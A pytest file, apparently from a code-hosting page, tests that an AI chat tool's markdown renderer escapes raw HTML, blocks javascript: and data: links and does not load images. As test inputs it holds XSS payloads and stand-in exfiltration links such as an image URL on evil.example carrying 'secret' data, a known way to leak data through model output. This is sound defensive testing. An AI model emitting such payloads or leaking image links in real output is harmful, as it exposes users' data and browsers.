bifroest/tests/test_markdown.py
2026-10-27 08:34:17 +01:00

64 lines
2.9 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""Bereinigte Darstellung von Modellausgaben (→ Konzept 4.5, Abnahmekriterium 15)."""
import pytest
from app.core.markdown import render
from app.tasks.worker import Worker
from helpers import connect_repo, create_workspace
def test_markdown_wird_gerendert():
html = render("# Titel\n\n**fett** und `code`\n\n- a\n- b\n\n|x|y|\n|-|-|\n|1|2|\n\n```\nprint(1)\n```")
for part in ("<h1>Titel</h1>", "<strong>fett</strong>", "<code>code</code>", "<li>a</li>", "<td>1</td>",
"<pre><code>print(1)"):
assert part in html
@pytest.mark.parametrize("text", [
"<script>alert(1)</script>",
'<img src="https://evil.example/x.png">',
"<a href='javascript:alert(1)'>x</a>",
'<div onclick="alert(1)">x</div>',
"<iframe src='https://evil.example'></iframe>",
])
def test_kein_roh_html(text):
html = render(text)
assert "<script" not in html and "<img" not in html and "<iframe" not in html and "<div" not in html
assert html.startswith("<p>&lt;") # nur noch als maskierter Text
def test_bilder_werden_nicht_geladen():
html = render("![Diagramm](https://evil.example/leak.png?daten=geheim)")
assert "<img" not in html
assert '[Bild: Diagramm – https://evil.example/leak.png?daten=geheim]' in html
def test_links_mit_sichtbarem_ziel():
html = render("[Doku](https://evil.example/a?daten=geheim) und <https://example.org>")
assert 'href="https://evil.example/a?daten=geheim"' in html and 'rel="noopener noreferrer nofollow"' in html
assert '<span class="aiw-link-target">(https://evil.example/a?daten=geheim)</span>' in html
# Ist der Text schon die URL, wird sie nicht doppelt gezeigt
assert html.count("https://example.org") == 2 # href und Linktext
long = render(f"[x](https://example.org/{'a' * 200})")
assert "…)</span>" in long
@pytest.mark.parametrize("url", ["javascript:alert(1)", "data:text/html,<b>x</b>", "/intern/pfad", "vbscript:x",
"JAVASCRIPT:alert(1)"])
def test_unsichere_links_bleiben_text(url):
html = render(f"[klick]({url})")
assert "<a " not in html
def test_chat_zeigt_bereinigte_antwort(browser, people, git_repo, db, settings, fake_provider):
anna = browser("anna")
workspace_id = create_workspace(anna, people["team_demo"])
connect_repo(anna, workspace_id, git_repo)
chat_id = int(anna.post(f"/workspaces/{workspace_id}/chats").headers["location"].rsplit("/", 1)[1])
fake_provider.reply = "**Wichtig:** <script>alert(1)</script> ![x](https://evil.example/x.png)"
anna.post(f"/chats/{chat_id}/messages", {"content": "Hallo <b>du</b>"}, headers={"HX-Request": "true"})
Worker(db, settings).run_once()
page = anna.get(f"/chats/{chat_id}").text
assert "<strong>Wichtig:</strong>" in page and "<script>alert" not in page
assert "&lt;script&gt;" in page and "[Bild: x – https://evil.example/x.png]" in page
assert "Hallo &lt;b&gt;du&lt;/b&gt;" in page # Nutzertext bleibt Text